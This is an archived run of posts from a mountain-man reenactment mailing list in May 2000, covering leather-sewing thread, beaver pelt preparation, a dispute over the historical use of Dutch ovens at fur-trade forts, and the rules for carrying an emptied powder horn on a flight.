style=3D"BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: =
0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">
  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A href=3D"mailto:[e-mail]" title=[e-mail]>don =

  neighbors</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A=20
  href=3D"mailto:[e-mail]"=20
  title=[e-mail]>[e-mail]</A> =
</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Friday, May 26, 2000 8:01 =
PM</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> Re: MtMan-List: =
Floss</DIV>
  <DIV><BR></DIV>Okay I give up what should a person sew with =
then.  Dental=20
  floss,fishing line or  fake sinew.=20
  <P>Wynn & Gretchen Ormond wrote:=20
  <BLOCKQUOTE TYPE=3D"CITE">
    <STYLE></STYLE>
    <FONT face=3DArial><FONT size=3D-1>Whoever said artifical sinew is =
just big=20
    dental floss is up in the night.  After several experimental =
runs all I=20
    can say is the stuff gums up more than the leather it=20
    sews!</FONT></FONT> <FONT face=3DArial><FONT size=3D-1>Sorry =
couldn't=20
    resist.</FONT></FONT> <FONT face=3DArial><FONT=20
  =
size=3D-1>WY</FONT></FONT> </BLOCKQUOTE></BLOCKQUOTE></BODY></HTML>

------=_NextPart_000_000E_01BFC74C.44FF7EE0--


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From: Frank <[e-mail]>
Subject: Re: MtMan-List: Floss
Date: 26 May 2000 20:26:00 -0700

This is a multi-part message in MIME format.

------=_NextPart_000_000A_01BFC750.9B364740
Content-Type: text/plain;
    charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

On the serious side, I've used 4 ply linen thread run through some bee's =
wax.  Works well and when it breaks or wears I carry a small amount =
wrapped around an old fiddle peg and find it relaxing and rewarding to =
sit and mend my gear.  Do need to get a couple period correct needles =
though...

Frank
  ----- Original Message -----=20
  From: John C. Funk, Jr.=20
  To: [e-mail]=20
  Sent: Friday, May 26, 2000 7:54 PM
  Subject: Re: MtMan-List: Floss


  Linen thread is quite plentiful from various leather and textile =
supply houses.
  John Funk


------=_NextPart_000_000A_01BFC750.9B364740
Content-Type: text/html;
    charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 5.50.4030.2400" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV>On the serious side, I've used 4 ply linen thread run through some =
bee's=20
wax.  Works well and when it breaks or wears I carry a small amount =
wrapped=20
around an old fiddle peg and find it relaxing and rewarding to sit and =
mend my=20
gear.  Do need to get a couple period correct needles =
though...</DIV>
<DIV> </DIV>
<DIV>Frank</DIV>
<BLOCKQUOTE dir=3Dltr=20
style=3D"PADDING-RIGHT: 0px; PADDING-LEFT: 5px; MARGIN-LEFT: 5px; =
BORDER-LEFT: #000000 2px solid; MARGIN-RIGHT: 0px">
  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A title=[e-mail] =
href=3D"mailto:[e-mail]">John C.=20
  Funk, Jr.</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A =
title=[e-mail]=20
  =
href=3D"mailto:[e-mail]">[e-mail]=
</A>=20
  </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Friday, May 26, 2000 7:54 =
PM</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> Re: MtMan-List: =
Floss</DIV>
  <DIV><BR></DIV>
  <DIV>Linen thread is quite plentiful from various leather and textile =
supply=20
  houses.</DIV>
  <DIV>John Funk</DIV>
  <BLOCKQUOTE=20
  style=3D"PADDING-RIGHT: 0px; PADDING-LEFT: 5px; MARGIN-LEFT: 5px; =
BORDER-LEFT: #000000 2px solid; MARGIN-RIGHT: =
0px"> </BLOCKQUOTE></BLOCKQUOTE></BODY></HTML>

------=_NextPart_000_000A_01BFC750.9B364740--


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From: "Ron Chamberlain" <[e-mail]>
Subject: MtMan-List: RE: Beaver Trapping
Date: 26 May 2000 20:58:58 -0600

Taken From: Ruxtons WILD LIFE IN THE ROCKY MOUNTAINS

"When a lodge is discovered, the trap is set at the edge of the dam, at the
point where the animal passes from deep to shoal water, and always under
water. Early in the morning the hunter mounts his mule and examines the
traps. The captured animals are skinned, and the tails, which are a great
dainty, carefully packed into camp. The skin is then stretched over a hoop
or framework of osier-twigs, and is allowed to dry, the flesh and fatty
substance being carefully scraped (grained). When dry, it is folded into a
square sheet, the fur turned inwards, and the bundle, containing about ten
to twenty skins, tightly pressed and corded, and is ready for
transportation. "

Streched over a hoop...is he talking 'casing the beaver' rather than a flat
hide?





<(⌐┐⌐)>

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From: [e-mail]
Subject: Re: MtMan-List: RE: Beaver Trapping
Date: 27 May 2000 00:53:00 -0500

Washtahay-
At 08:58 PM 5/26/00 -0600, you wrote:
>Streched over a hoop...is he talking 'casing the beaver' rather than a flat
>hide?

    No-consider his comment "When dry, it is folded into a
square sheet, the fur turned inwards".  This doesn't work with a cased skin.
    Also, buyers wanted to examine each skin.  A cased skin would have to be
turned, which would slow the inspection process.  For speed and
convenience, a flat skin folded as described would be best.
LongWalker c.du B




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From: [e-mail]
Subject: Re: MtMan-List: Floss
Date: 27 May 2000 00:50:07 -0500

Washtahay-
At 10:01 PM 5/26/00 -0500, you wrote:
> Okay I give up what should a person sew with then.  Dental floss,fishing
>line or  fake sinew.
    How about real sinew, or linen thread.
LongWalker c. du B


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From: Mike Moore <[e-mail]>
Subject: Re: MtMan-List: RE: Beaver Trapping
Date: 27 May 2000 07:12:12 -0600

I asked Rex Norman about this a year or two ago. His
reply was that the hides were folded in half (hair side in).
And then packed so the flat edges were on the outside.
When putting four of these hides together, it  gave the
appearance of a square hide in the bale. Casing a hide
is great way to go when you can pull the hide from the
flesh, but never tried to do this with a beaver. In fact,
my Dad always just sold the beaver frozen and unfleshed
to the hide buyers. He always thought it was too much work
to skin them out. Having learned now how to do it, I would
agree for the first dozen you do. I've seen guys take a hour to
get a hide off the animal. But the good skinners can do it right quick!
                                            mike.

 http://home.earthlink.net/~amm1616

[e-mail] wrote:

> Washtahay-
> At 08:58 PM 5/26/00 -0600, you wrote:
> >Streched over a hoop...is he talking 'casing the beaver' rather than a flat
> >hide?
>
>         No-consider his comment "When dry, it is folded into a
> square sheet, the fur turned inwards".  This doesn't work with a cased skin.
>         Also, buyers wanted to examine each skin.  A cased skin would have to be
> turned, which would slow the inspection process.  For speed and
> convenience, a flat skin folded as described would be best.
> LongWalker c.du B
>
> ----------------------
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From: "Walt Foster" <[e-mail]>
Subject: Re: MtMan-List: Date: Fri, 26 May 2000 15:59:45 -0500
Date: 27 May 2000 08:33:03 -0600

Larry,
Apparently you missed the fact that cast iron dutch ovens were documented at
the Fort Union Trading Post which was established 1828.  The Dutch oven and
the kettle both cast iron artifacts were found.  Aho!
Walt
Park City, Montana



Fri, 26 May 2000 15:59:45 -0500
>   Ya know, I bet if Jim Bridger had of had a DOG in camp he would have fed
> him out of a DUTCH OVEN,


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From: "northwoods" <[e-mail]>
Subject: Re: MtMan-List: Date: Fri, 26 May 2000 15:59:45 -0500
Date: 27 May 2000 09:54:05 -0500

Don't forget Walt that a dutch oven was also found in the excavations of
Bent's Fort, and attributed to the Bent time period...

northwoods


-----Original Message-----


>Larry,
>Apparently you missed the fact that cast iron dutch ovens were documented
at
>the Fort Union Trading Post which was established 1828.  The Dutch oven and
>the kettle both cast iron artifacts were found.  Aho!
>Walt
>Park City, Montana
>
>
>
>From: "larry pendleton" <[e-mail]>Subject: Re: MtMan-List: Date:
>Fri, 26 May 2000 15:59:45 -0500
>>   Ya know, I bet if Jim Bridger had of had a DOG in camp he would have
fed
>> him out of a DUTCH OVEN,
>
>
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From: tom roberts <[e-mail]>
Subject: Re: MtMan-List: Date: Fri, 26 May 2000 15:59:45 -0500
Date: 27 May 2000 10:57:23 -0400

You guys aren't really serious about starting round
two of the dutch oven debacle, are you???

Tom

Walt Foster wrote:

> Larry,
> Apparently you missed the fact that cast iron dutch ovens were documented at
> the Fort Union Trading Post which was established 1828.  The Dutch oven and
> the kettle both cast iron artifacts were found.  Aho!
> Walt
> Park City, Montana
>
> From: "larry pendleton" <[e-mail]>Subject: Re: MtMan-List: Date:
> Fri, 26 May 2000 15:59:45 -0500
> >   Ya know, I bet if Jim Bridger had of had a DOG in camp he would have fed
> > him out of a DUTCH OVEN,
>
> ----------------------
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From: "Walt Foster" <[e-mail]>
Subject: Re: MtMan-List: Date: Fri, 26 May 2000 15:59:45 -0500
Date: 27 May 2000 09:27:03 -0600

No Sir,

The facts have already been established once and for all by the Fort Union
Trading Post.  Cast iron artifacts of both types were present in the
mountain man period.
Walt
Park City, Montana



> You guys aren't really serious about starting round
> two of the dutch oven debacle, are you???
>
> Tom



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From: [e-mail]
Subject: Re: MtMan-List: Date: Fri, 26 May 2000 15:59:45 -0500
Date: 27 May 2000 10:15:05 -0500

Washtahay-
At 08:33 AM 5/27/00 -0600, you wrote:
>Larry,
>Apparently you missed the fact that cast iron dutch ovens were documented at
>the Fort Union Trading Post which was established 1828.  The Dutch oven and
>the kettle both cast iron artifacts were found.  Aho!
    And don't forget, cell phones were found in Kingston Jamaica--a city
destroyed by an earthquake and fire in 1694!
    Um, well, perhaps the presence of an artifact in a contaminated site
DOESN'T establish its earliest date of use at the site?
LongWalker c. du B.


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From: "larry pendleton" <[e-mail]>
Subject: Re: MtMan-List: Date: Fri, 26 May 2000 15:59:45 -0500
Date: 27 May 2000 10:41:15 -0700

Walt,
  The point I was making is, if a topic isn't worth fighting over, then
don't.  Opinions are like A_ _ Holes.  Everyone has one.  I just do not see
the purpose, in getting all bent out of shape because everyone doesn't agree
with you or me or anyone else.  Some of the dearest friends I have in the
world disagree with me totally on certain points of history.  We just agree
to disagree.  I think that point of view would serve the folks on the list
very well.  That way, we could discuss a topic, then move on to something
else, rather than hammer and hammer on an issue untill some folks are sick
of it.  There is no excuse for some of the irrate messages that show up
here, and I am certainly gulty of posting such messages when properly
provoked.  That is just my opinion.
Pendleton
-----Original Message-----


Larry,
Apparently you missed the fact that cast iron dutch ovens were documented at
the Fort Union Trading Post which was established 1828.  The Dutch oven and
the kettle both cast iron artifacts were found.  Aho!
Walt
Park City, Montana



Fri, 26 May 2000 15:59:45 -0500
>   Ya know, I bet if Jim Bridger had of had a DOG in camp he would have fed
> him out of a DUTCH OVEN,


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From: "Walt Foster" <[e-mail]>
Subject: Re: MtMan-List: Date: Fri, 26 May 2000 15:59:45 -0500
Date: 27 May 2000 09:35:17 -0600

Larry,
I agree with you that time is to short for BS.
The cast iron artifacts are present at Fort Union.
Walt


----- Original Message -----
Sent: Saturday, May 27, 2000 11:41 AM




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From: "Walt Foster" <[e-mail]>
Subject: Re: MtMan-List: Date: Fri, 26 May 2000 15:59:45 -0500
Date: 27 May 2000 09:40:28 -0600

> Um, well, perhaps the presence of an artifact in a contaminated site
> DOESN'T establish its earliest date of use at the site?
> LongWalker c. du B.

Maybe you know something the Chief Historian does not know about the cast
iron artifacts present during the mountain man period at Fort Union?  It is
a long walk.  Maybe you can get there by fall.
Aho!
See you there
Walt
Park City, Montana


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From: "larry pendleton" <[e-mail]>
Subject: Re: MtMan-List: Date: Fri, 26 May 2000 15:59:45 -0500
Date: 27 May 2000 10:55:25 -0700

One more thing to add to my last post.  Most of you folks would not believe
the tone of some of the personal e-mails Dennis and I received during the
ARTIFICIAL SINEW WAR.  I lost my temper over the AUTHENTICITY NAZI comment,
and made bad matters worse.  just like I did last night over the SNIDE SMART
ASS remark.  For those discretions, I would like to appologize.  Folks this
ain't life and death we're dealing with here.  Let's just express our
opinions and leave the insults out of it.
Pendleton
-----Original Message-----


Walt,
  The point I was making is, if a topic isn't worth fighting over, then
don't.  Opinions are like A_ _ Holes.  Everyone has one.  I just do not see
the purpose, in getting all bent out of shape because everyone doesn't agree
with you or me or anyone else.  Some of the dearest friends I have in the
world disagree with me totally on certain points of history.  We just agree
to disagree.  I think that point of view would serve the folks on the list
very well.  That way, we could discuss a topic, then move on to something
else, rather than hammer and hammer on an issue untill some folks are sick
of it.  There is no excuse for some of the irrate messages that show up
here, and I am certainly gulty of posting such messages when properly
provoked.  That is just my opinion.
Pendleton
-----Original Message-----


Larry,
Apparently you missed the fact that cast iron dutch ovens were documented at
the Fort Union Trading Post which was established 1828.  The Dutch oven and
the kettle both cast iron artifacts were found.  Aho!
Walt
Park City, Montana



Fri, 26 May 2000 15:59:45 -0500
>   Ya know, I bet if Jim Bridger had of had a DOG in camp he would have fed
> him out of a DUTCH OVEN,


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From: [e-mail]
Subject: Re: MtMan-List: Date: Fri, 26 May 2000 15:59:45 -0500
Date: 27 May 2000 11:38:54 -0500

Washtahay-
At 09:40 AM 5/27/00 -0600, you wrote:
>> Um, well, perhaps the presence of an artifact in a contaminated site
>> DOESN'T establish its earliest date of use at the site?
>> LongWalker c. du B.
>
>Maybe you know something the Chief Historian does not know about the cast
>iron artifacts present during the mountain man period at Fort Union?  It is
>a long walk.  Maybe you can get there by fall.
    Walt, to date no documentary evidence has been provided that cast iron
cookware was present "during the mountain man period at Fort Union".  To
date, in  more than 1,000 pages of original records, I haven't found
anything to indicate it was--but I have been looking mostly at the records
of manufacturers and jobbers.
    I can tell you how the stuff was made, and why it was made that way; I can
tell you how the name "dutch oven" was arrived at; I can tell you how it
was packaged and shipped; I just can't show it was in use in the
intermontane west prior to 1840.
    Personally, I'd be surprised it it wasn't in use at Astoria--just haven't
bothered to track it down.  If anyone wants to, the cite is "House Document
45, 17th Congress, 2nd Session Jan 27, 1823, pp. 1-80."
LongWalker c. du B.


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From: "northwoods" <[e-mail]>
Subject: Re: MtMan-List: Date: Fri, 26 May 2000 15:59:45 -0500
Date: 27 May 2000 13:03:25 -0500


-----Original Message-----

> And don't forget, cell phones were found in Kingston Jamaica--a city
>destroyed by an earthquake and fire in 1694!
> Um, well, perhaps the presence of an artifact in a contaminated site
>DOESN'T establish its earliest date of use at the site?
>LongWalker c. du B.


In the report made on the excavations at Bents Fort it clearly states (to me
anyway) that a Dutch oven was found in "Bents" well, along with material
from when the fort burned. The well had been "capped" with debris from a
later time period, which would exclude all possibilities of the well
contents having been contaminated with debris  from a later date. Apparently
your interpretations of the report lead you to believe otherwise, which is
certainly okay, although I don't understand why if you wouldn't be surprised
that they were used at Astoria you find it so hard to believe that they were
at Bents Fort especially considering the evidence which is at hand. I sent
my report, (which is the original report that was made for the U.S. Park
Service) to Lanney to read. Anyone else who wants to read it for themselves
just contact me, you can be next after Lanney.

northwoods


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From: "Walt Foster" <[e-mail]>
Subject: Re: MtMan-List: Date: Fri, 26 May 2000 15:59:45 -0500
Date: 27 May 2000 12:30:02 -0600

> Walt, to date no documentary evidence has been provided that cast iron
> cookware was present "during the mountain man period at Fort Union".

Aho!
Longwalker, as I posted earlier this year 2 types of cast iron cookware were
present during the American Mountain Man era 1825-1840 at Fort Union.  I
also provided the National Park Service Chief Historian phone number so that
anyone on the list could verify what I had to say about what my research
discovered on the subject of the 2 pots of cast iron.

It is 250 miles from here to  Ft. Union and further to the site of the 1837
rendezvous attended by Jim Bridger who left from here.  Jim Bridger was a
teenager using the date of 1823.  Ft. Union was established 1828.  As you
know the rendezvous period started in 1825 but the mountain man period was
already established by John Colter 1807.

The Astorians passed through here 1811, 1812.

Everybody knows that the Dutch controlled the New York area cast iron
industry at one time.  I for one would be interested to know if evidence can
be found of Astorian use.  As evidence has been found at Ft. Union.

Check it out this fall at the gathering at Ft. Union many on the list have
been mentioning attending or give the Ft. Union historian a call to verify
for yourself.  I do not know what better documentation you could ask for
than the documention of the artifacts located at Fort Union during the time
of the rendezvous period of the American mountain men.
Walt


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From: "northwoods" <[e-mail]>
Subject: MtMan-List: fur trade books
Date: 27 May 2000 13:51:28 -0500

I just received one of my most favorite things in the mail today, and that
is used books. I picked up some interesting looking ones, but have only
gotten a chance so far to give them a cursory examination. Titles include:
"John Ball, member of the Wyeth expedition to the Pacific Northwest, 1832,
an Autobiography", "The Men of the Lewis And Clark expedition, A
Biographical Roster of the 51 Members and a Composite Diary of Their
Activities From  All Known Sources",here is a neat old one"The Columbia
River, Or Scenes and Adventures During A Residence of Six Years On the
Western Side of the Rocky Mountains Among Various Tribes of Indians Hitherto
Unknown, Together With a Journey Across the American Continent"1832, and "
The Life and Adventures of George Nidever". It sure is enjoyable to read
about the fur trade time period.

northwoods


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From: "northwoods" <[e-mail]>
Subject: Re: MtMan-List: RE: Beaver Trapping
Date: 27 May 2000 14:19:52 -0500


-----Original Message-----

>>I've seen guys take a hour to get a hide off the animal. But the good
skinners can do it right quick!>>

One of the guys I used to sell my furs to had his teenage daughters working
in the fur shed. They could skin a muskrat in less than a minute, and skin
and flesh a beaver faster then most grown men. No doubt this was because
they had a lot fo practice, and I do mean a lot. I have read more than once
that the Rocky Mountain trappers would often skin the beaver on the spot,
and thenm return to camp where it was someone elses job to flesh and stretch
the pelts. I think there is a picture of this in Firearms Traps and Tools
of the Mountain Men.

Northwoods





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From: [e-mail]
Subject: Re: MtMan-List: Date: Fri, 26 May 2000 15:59:45 -0500
Date: 27 May 2000 15:33:49 EDT

Walt, Forgive me if I'm having a senior moment <G> but IIRC the previous
discussion was not whether cast iron was in use during the mountain man
period, but whether the design of the dutch ovens we use today was correct.
There was definitely cast iron pots being made and traded from and through
Africa prior to the period, but nothing has been presented to establish that
the straight-sided, three-legged version so common at Rendezvous today was
present.    Barney

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From: "Walt Foster" <[e-mail]>
Subject: Re: MtMan-List: Date: Fri, 26 May 2000 15:59:45 -0500
Date: 27 May 2000 13:55:46 -0600


> Walt, Forgive me if I'm having a senior moment <G> but IIRC the previous
> discussion was not whether cast iron was in use during the mountain man
> period, but whether the design of the dutch ovens we use today was
correct.
> There was definitely cast iron pots being made and traded from and through
> Africa prior to the period, but nothing has been presented to establish
that
> the straight-sided, three-legged version so common at Rendezvous today was
> present.    Barney

Hi Barney,
The evidence of that cast iron cookware does exhist at the Fort Union
Trading Post.  Both styles exhist.  The other being the one pictured by
Miller. The artifacts at Ft. Union include the same pattern.  Bottom, sides
and top.  Fort Union has a lot more information than just this topic of
discussion.  The Fort Union historian is on call during regular work days.
Dig into the Fort Union documentation.  You might like it.
Walt with his own senior moments VBG.



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From: tom roberts <[e-mail]>
Subject: MtMan-List: Powderhorn as airline baggage
Date: 27 May 2000 18:32:01 -0400

Anyone have experience (positive and negative)
with transporting a powderhorn in checked
baggage?   It will surely fail a sniff test.

Tom


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From: Frank <[e-mail]>
Subject: Re: MtMan-List: Powderhorn as airline baggage
Date: 27 May 2000 15:51:26 -0700

Don't worry...bagage handlers are too busy beating the crap out of your
baggage to smell it!
A call to the airline you plan to travel with will answer your question.

Frank

tom roberts wrote:

> Anyone have experience (positive and negative)
> with transporting a powderhorn in checked
> baggage?   It will surely fail a sniff test.
>
> Tom
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


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From: tom roberts <[e-mail]>
Subject: Re: MtMan-List: Powderhorn as airline baggage
Date: 27 May 2000 19:03:22 -0400

Frank,

Due to a high volume of international traffic (which presumably incurs
higher risk) at my airport (Orlando), I am told that 4 legged sensors
routinely
scan baggage for explosives (which I presume includes black powder)
and that baggage failing the test is destroyed.  I agree that the airline
should/will have the final say but I have gotten conflicting information
there also.   Was wondering whether anyone else had actually flown
their used horns with or without success.   It may turn out simpler
to just leave it home.

Tom

Frank wrote:

> Don't worry...bagage handlers are too busy beating the crap out of your
> baggage to smell it!
> A call to the airline you plan to travel with will answer your question.
>
> Frank


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From: Frank <[e-mail]>
Subject: Re: MtMan-List: Powderhorn as airline baggage
Date: 27 May 2000 16:09:12 -0700

Hi Tom,

Yes, I agree.  The airline can tell you the regulations involved though.
I suspect that it would be quite an ordeal!  I imagine registration and
special containers etc.
Still, they can tell you if it can be done.
Maybe send your horn ahead via Fed Ex or something?

Grace and peace, Frank

tom roberts wrote:

> Frank,
>
> Due to a high volume of international traffic (which presumably incurs
> higher risk) at my airport (Orlando), I am told that 4 legged sensors
> routinely
> scan baggage for explosives (which I presume includes black powder)
> and that baggage failing the test is destroyed.  I agree that the airline
> should/will have the final say but I have gotten conflicting information
> there also.   Was wondering whether anyone else had actually flown
> their used horns with or without success.   It may turn out simpler
> to just leave it home.
>
> Tom
>
> Frank wrote:
>
> > Don't worry...bagage handlers are too busy beating the crap out of your
> > baggage to smell it!
> > A call to the airline you plan to travel with will answer your question.
> >
> > Frank
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


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From: "Paul W. Jones" <[e-mail]>
Subject: Re: MtMan-List: Powderhorn as airline baggage
Date: 27 May 2000 19:15:14 -0700

Other than being an express violation of federal law, you should find no
difficulty in this endeavor.  Unless caught.

Paul

----- Original Message -----
Sent: Saturday, May 27, 2000 3:32 PM


> Anyone have experience (positive and negative)
> with transporting a powderhorn in checked
> baggage?   It will surely fail a sniff test.
>
> Tom
>
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


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From: "Fred A. Miller" <[e-mail]>
Subject: MtMan-List: "The Patriot"
Date: 27 May 2000 20:11:56 -0400

The Patriot
http://www.spe.sony.com/movies/thepatriot/splash.html

A new period movie. Frank House made Mel Gibson's rifle.

Fred

--
It said "Needs Windows 98 or better". So I installed Linux...

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From: "Paul W. Jones" <[e-mail]>
Subject: Re: MtMan-List: Powderhorn as airline baggage
Date: 27 May 2000 19:24:47 -0700

I was not trying to be "flip" with my immediate response.  It is an express
violation to carry any nature of an explosive on a plane, whether by person
or in your luggage.  Even bullets, when someone is taking a firearm as
packed luggage, have to be specially marked.

Many of us have taken powder horns, but empty and as clean as the baby's
butt.

This is a very sensitive area, and to make a mistake would only be one more
example for our friends at the other end of the firearms spectrum, to use as
they agitate to have black powder and black powder firearms subject to even
more restriction.

Paul
----- Original Message -----
Sent: Saturday, May 27, 2000 7:15 PM


> Other than being an express violation of federal law, you should find no
> difficulty in this endeavor.  Unless caught.
>
> Paul
>
> ----- Original Message -----
> From: tom roberts <[e-mail]>
> To: <[e-mail]>
> Sent: Saturday, May 27, 2000 3:32 PM
> Subject: MtMan-List: Powderhorn as airline baggage
>
>
> > Anyone have experience (positive and negative)
> > with transporting a powderhorn in checked
> > baggage?   It will surely fail a sniff test.
> >
> > Tom
> >
> >
> > ----------------------
> > hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


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From: Randal J Bublitz <[e-mail]>
Subject: Re: MtMan-List: Powderhorn as airline baggage
Date: 27 May 2000 17:56:34 -0700

Tom, Whenever I travel by air, I ship UPS my firearm and powder horn.  I
send the items to whoever is picking me up, or will be at the event I'm
traveling to.  hardtack

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From: tom roberts <[e-mail]>
Subject: Re: MtMan-List: Powderhorn as airline baggage
Date: 27 May 2000 23:04:23 -0400

Paul,

Thanks for your first reply, which was good for a laugh, and especially for
your second reply which had substance.    There's no question of
the foolishness of attempting to bring explosives on board an aircraft, checked
or otherwise. Please be sure I intend to empty it first, however, what I've
learned
about dog's noses is that even the residue in the pores of the wooden stopper
could be smelled.   I have continued to contact my chosen airline and I finally
connected with someone who recognized the term "smoothbore" and "flintlock".
They told me it would be no problem provided that I empty it, seal it in a
rubbermaid
(or equivalent) container, declare it, fill out some form, and be prepared to
show it to
an inspector.  Sounds like a long line with lot's of dialogue to me.   I sure
can't blame
them.

Tom


"Paul W. Jones" wrote:

> I was not trying to be "flip" with my immediate response.  It is an express
> violation to carry any nature of an explosive on a plane, whether by person
> or in your luggage.  Even bullets, when someone is taking a firearm as
> packed luggage, have to be specially marked.
>
> Many of us have taken powder horns, but empty and as clean as the baby's
> butt.
>
> This is a very sensitive area, and to make a mistake would only be one more
> example for our friends at the other end of the firearms spectrum, to use as
> they agitate to have black powder and black powder firearms subject to even
> more restriction.
>
> Paul
> ----- Original Message -----
> From: Paul W. Jones <[e-mail]>
> To: <[e-mail]>
> Sent: Saturday, May 27, 2000 7:15 PM
> Subject: Re: MtMan-List: Powderhorn as airline baggage
>
> > Other than being an express violation of federal law, you should find no
> > difficulty in this endeavor.  Unless caught.
> >
> > Paul
> >
> > ----- Original Message -----
> > From: tom roberts <[e-mail]>
> > To: <[e-mail]>
> > Sent: Saturday, May 27, 2000 3:32 PM
> > Subject: MtMan-List: Powderhorn as airline baggage
> >
> >
> > > Anyone have experience (positive and negative)
> > > with transporting a powderhorn in checked
> > > baggage?   It will surely fail a sniff test.
> > >
> > > Tom
> > >
> > >
> > > ----------------------
> > > hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
> >
> >
> > ----------------------
> > hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


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From: [e-mail]
Subject: Re: MtMan-List: Date: Fri, 26 May 2000 15:59:45 -0500
Date: 27 May 2000 22:17:26 -0500

Washtahay-
At 01:03 PM 5/27/00 -0500, you wrote:
>Apparently
>your interpretations of the report lead you to believe otherwise, which is
>certainly okay,
    Actually, I don't have enough information on which to base a sound opinion.

>although I don't understand why if you wouldn't be surprised
>that they were used at Astoria you find it so hard to believe that they were
>at Bents Fort especially considering the evidence which is at hand.
    Astoria received a vast quantity of iron stock, tools, and supplies via
ship--the schooner Tonquin.  I do realize a lot of stuff got to Bent's
Fort--the pool table, for example--but if anyone was going to have cast
iron at a fort I think it is likely that Astor would have sent it to
Astoria.  It was his namesake, after all.
    Astor filed a claim with congress for the equipment and stock at
Astoria--if cast iron cookware was there, it would probably be listed.
    Whether or not there was cast iron cookware at Bent's Fort prior to 1840
isn't a matter of "belief" to me.  The documentation we discussed
previously is not clear to me, and is apparently unclear to the National
Parks Service.  To quote from HBC's post of 3/1/00, regarding a
conversation with the curator at Bent's:
"...Ayway, to continue,
there were at least 22 layers of strata in the well backfill below the
rocky cap.  There were pieces of porcelain found within layer 22, which is
a BSV layer in the well backfill, and they are positively from BSV.  The
dutch oven fragments (and we know they were dutch ovens from the
configurations and descriptions in the report) found on the site were found
at subsurface levels within the well.  The question is whether they were
found above the 1860 cap or below."
    According to HBC, the curator was planning a study of the field notes to
see if mention was made of the layer in which the dutch oven fragments were
found.
LongWalker c. du B.


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From: [e-mail]
Subject: Re: MtMan-List: Date: Fri, 26 May 2000 15:59:45 -0500
Date: 27 May 2000 22:18:28 -0500

Washtahay-
At 12:30 PM 5/27/00 -0600, you wrote:
>Everybody knows that the Dutch controlled the New York area cast iron
>industry at one time.
    Often, what "everybody knows" is wrong or irrelevant.  The item in
question was known as a "dutch oven" prior to the Dutch having much of an
interest in the iron business.  The term dates back even further, referring
to a ceramic container the form of which we would all recognize.  The
earliest foundry-related reference I have found refers to "dutche ovens of
iryn".

>I do not know what better documentation you could ask for
>than the documention of the artifacts located at Fort Union during the time
>of the rendezvous period of the American mountain men.
    How about written references?  Not opinion, not hearsay, but field notes
or photographs showing the fragments having been found in a layer
indicating that they were discarded prior to 1840, or were found in
association with artifacts used prior to that date but not after.  You
know, that unpleasant "science" question.
    I sent a letter (still unanswered) to Fort Union asking those questions
like "What evidence is there regarding the use of cast iron cooking vessels
at Fort Union prior to 1840?"
LongWalker c. du B.


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From: Jerry & Barbara Zaslow <[e-mail]>
Subject: Re: MtMan-List: The Great Dutch Oven Debate
Date: 27 May 2000 21:23:03 -0700 (PDT)

Well looks like you guys want to get into the Dutch Oven authenticity stuff
again.  Maybe you should think about logic also.

I've said this before (and let me make it clear that this is ONLY my
opinion) but what would an average mountaineer have carried?  A Dutch Oven,
a brazier or any other kind of heavy shit like that?  Well if I were there
back then, that would be the last thing I would carry with me.  Sure some of
it was out there and available during the time period, but so was a
submarine, hot air balloon and a bunch of other stuff that would not be
appropriate in the mountains.

My view is, just because you can document something only proves it was
there, not that it was common.  I can document a lot of stuff that William
Drummond Stewart took to Rendezvous in 1837.  Does it mean if everyone wants
to have something at Rendezvous that he brought, which was uncommon, it
would be OK?  Only if you think it would be OK for half the people at
Rendezvous to portray Stewart.

I cook with stuff as simple as possible.  That means with sticks over the
fire, a small tin boiler and maybe a small folding steel frying pan.  I also
bring as little as possible.  I've learned that less is more and my horse
agrees.

Just my 2 cents.

Best Regards,

Jerry (Meriwether) Zaslow #1488
________________________________________________________________________________


>No Sir,
>
>The facts have already been established once and for all by the Fort Union
>Trading Post.  Cast iron artifacts of both types were present in the
>mountain man period.
>Walt
>Park City, Montana
>
>
>
>> You guys aren't really serious about starting round
>> two of the dutch oven debacle, are you???
>>
>> Tom
>
>
>
>----------------------
>hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>


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From: [e-mail] (Bill Cunningham)
Subject: Re: MtMan-List: Date: Fri, 26 May 2000 15:59:45 -0500
Date: 27 May 2000 22:35:33 -0600

Barney, the photos I've seen of Paul Revere's Dutch ovens are very much like
those in use today. True, there have been changes, such as the ears and
bails, but the basic shape is the same. Should we not use them? I don't
know. I don't pack one along to AMM and I don't pack one when I'm out by
myself. Just too heavy for light traveling. But I have taken one along to
something like an NMLRA nationals where I don't have to pack in and am going
to be there for 10 days. Makes cooking a breeze. And when you get right down
to it, the difference in the old and new DOs and our replica guns and many
other accouterments aren't all that much different.
Bill C
